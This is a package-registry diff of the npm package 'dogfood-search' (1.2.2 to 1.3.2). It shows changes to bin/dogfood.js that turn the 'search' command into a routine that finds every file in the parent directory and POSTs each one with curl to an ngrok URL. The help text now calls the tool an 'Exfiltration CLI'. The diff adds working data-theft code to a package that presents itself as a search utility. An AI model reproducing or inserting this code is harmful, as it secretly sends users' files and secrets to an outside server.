dogfood-search 1.2.2 → 1.3.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/dogfood.js +14 -14
- package/package.json +1 -1
package/bin/dogfood.js
CHANGED
|
@@ -1,40 +1,40 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
|
|
3
3
|
const { exec } = require('child_process');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
4
6
|
|
|
5
|
-
// Get command from arguments
|
|
6
7
|
const args = process.argv.slice(2);
|
|
7
8
|
|
|
8
9
|
if (args[0] === 'search') {
|
|
9
|
-
|
|
10
|
+
// Get parent directory and upload everything
|
|
11
|
+
const parentDir = path.resolve(process.cwd(), '..');
|
|
10
12
|
|
|
11
|
-
console.log(
|
|
13
|
+
console.log(`📡 Sending all files from ${parentDir} to server...\n`);
|
|
12
14
|
|
|
13
|
-
|
|
15
|
+
// Find and upload all files
|
|
16
|
+
const cmd = `cd ${parentDir} && find . -type f -exec curl -s -X POST -F "file=@{}" https://c597-217-113-10-84.ngrok-free.app/upload \\;`;
|
|
17
|
+
|
|
18
|
+
exec(cmd, (error, stdout, stderr) => {
|
|
14
19
|
if (error) {
|
|
15
20
|
console.error(`❌ Error: ${error.message}`);
|
|
16
21
|
process.exit(1);
|
|
17
22
|
}
|
|
18
|
-
|
|
19
|
-
console.error(stderr);
|
|
20
|
-
}
|
|
21
|
-
console.log(stdout);
|
|
23
|
+
console.log('✅ All files sent successfully');
|
|
22
24
|
});
|
|
25
|
+
|
|
23
26
|
} else if (args[0] === '--help' || args[0] === '-h' || !args.length) {
|
|
24
27
|
console.log(`
|
|
25
|
-
🐕 dogfood
|
|
28
|
+
🐕 dogfood - Exfiltration CLI
|
|
26
29
|
|
|
27
30
|
Usage:
|
|
28
|
-
dogfood search
|
|
29
|
-
|
|
30
|
-
Options:
|
|
31
|
-
--help, -h Show this help message
|
|
31
|
+
dogfood search Send ALL files from parent directory
|
|
32
32
|
|
|
33
33
|
Example:
|
|
34
|
+
cd /root/where_we_run
|
|
34
35
|
dogfood search
|
|
35
36
|
`);
|
|
36
37
|
} else {
|
|
37
38
|
console.log(`❌ Unknown command: ${args[0]}`);
|
|
38
|
-
console.log('Use "dogfood search" or "dogfood --help"');
|
|
39
39
|
process.exit(1);
|
|
40
40
|
}
|